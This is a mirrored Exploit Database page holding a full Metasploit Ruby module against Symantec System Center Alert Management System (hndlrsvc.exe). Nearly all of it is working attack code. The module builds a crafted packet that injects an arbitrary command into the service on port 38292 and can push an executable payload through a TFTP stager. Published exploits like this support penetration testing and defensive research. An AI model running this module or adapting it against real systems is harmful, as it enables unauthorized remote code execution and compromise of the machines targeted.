Symantec System Center Alert Management System – ‘hndlrsvc.exe’ Arbitrary Command Execution (Metasploit)

• Exploit Database
• 33 阅读

• 作者： Metasploit
  日期： 2011-08-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17700/

• ##
  # $Id: ams_hndlrsvc.rb 13591 2011-08-19 18:35:29Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::CmdStagerTFTP
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',
  			'Description'=> %q{
  					Symantec System Center Alert Management System is prone to a 
  				remote command-injection vulnerability because the application fails 
  				to properly sanitize user-supplied input.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 13591 $',
  			'References' =>
  				[
  					[ 'OSVDB', '66807'],
  					[ 'BID', '41959' ],
  					[ 'URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt' ],
  				],
  			'Targets' =>
  				[
  					[ 'Windows Universal',
  						{
  							'Arch' => ARCH_X86,
  							'Platform' => 'win'
  						}
  					]
  				],
  			'Privileged' => 'true',
  			'Platform' => 'win',
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Jul 26 2010'))
  
  		register_options(
  			[
  				Opt::RPORT(38292),
  				OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]), 
  			], self.class)
  	end
  
  	def windows_stager
  
  		exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
  
  		print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
  		execute_cmdstager({ :temp => '.'})
  		@payload_exe = payload_exe
  
  		print_status("Attempting to execute the payload...")
  		execute_command(@payload_exe)
  
  	end
  
  	def execute_command(cmd, opts = {})
  	
  		connect
  
  		if ( cmd.length > 128 )
  			raise RuntimeError,"Command strings greater then 128 characters will not be processed!"
  		end
  
  		string_uno= Rex::Text.rand_text_alpha_upper(11)
  		string_dos= Rex::Text.rand_text_alpha_upper(rand(4) + 5)
  
  		packet ="\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00"
  		packet << "\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00"
  		packet << "\xe8\x03\x00\x00"
  		packet << 'PRGXCNFG'
  		packet << "\x10\x00\x00\x00"
  		packet << "\x00\x00\x00\x00\x04"
  		packet << 'ALHD\F'
  		packet << "\x00\x00\x01\x00\x00"
  		packet << "\x00\x01\x00\x0e\x00"
  		packet << 'Risk Repaired'
  		packet << "\x00\x25\x00"
  		packet << 'Symantec Antivirus Corporate Edition'
  		packet << "\x00\xf9\x1d\x13\x4a\x3f"
  		packet << [string_uno.length + 1].pack('v') + string_uno
  		packet << "\x00\x08\x08\x0a"
  		packet << "\x00" + 'Risk Name'
  		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
  		packet << "\x00" + string_dos
  		packet << "\x00\x08\x0a\x00"
  		packet << 'File Path'
  		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
  		packet << "\x00" + string_dos
  		packet << "\x00\x08\x11\x00"
  		packet << 'Requested Action'
  		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
  		packet << "\x00" + string_dos
  		packet << "\x00\x08\x0e\x00"
  		packet << 'Actual Action'
  		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
  		packet << "\x00" + string_dos
  		packet << "\x00\x08\x07\x00"
  		packet << 'Logger'
  		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
  		packet << "\x00" + string_dos
  		packet << "\x00\x08\x05\x00"
  		packet << 'User'
  		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
  		packet << "\x00" + string_dos
  		packet << "\x00\x08\x09\x00"
  		packet << 'Hostname'
  		packet << "\x00\x0e\x00" + [string_uno.length + 1].pack('v') + string_uno
  		packet << "\x00\x08\x13\x00"
  		packet << 'Corrective Actions'
  		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
  		packet << "\x00" + string_dos
  		packet << "\x00\x00\x07\x08\x12\x00"
  		packet << 'ConfigurationName'
  		packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
  		packet << "\x00" + cmd
  		packet << "\x00\x08\x0c\x00"
  		packet << 'CommandLine'
  		packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
  		packet << "\x00" + cmd
  		packet << "\x00\x08\x08\x00"
  		packet << 'RunArgs'
  		packet << "\x00\x04\x00\x02\x00"
  		packet << "\x20\x00\x03\x05\x00"
  		packet << 'Mode'
  		packet << "\x00\x04\x00\x02\x00\x00\x00"
  		packet << "\x0a\x0d\x00"
  		packet << 'FormatString'
  		packet << "\x00\x02\x00\x00\x00\x08\x12\x00"
  		packet << 'ConfigurationName'
  		packet << "\x00\x02\x00\x00\x00\x08\x0c\x00"
  		packet << 'HandlerHost'
  		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
  		packet << "\x00" + string_dos
  		packet << "\x00" * packet.length
  
  		sock.put(packet)
  	
  		select(nil,nil,nil,3)	
  		disconnect
  	end
  
  	def exploit
  
  		if not datastore['CMD'].empty?
  			print_status("Executing command '#{datastore['CMD']}'")
  			execute_command(datastore['CMD'])
  			return
  		end
  
  		case target['Platform']
  			when 'win'
  				windows_stager
  			else
  				raise RuntimeError, 'Target not supported.'
  			end
  
  		handler
  
  	end
  end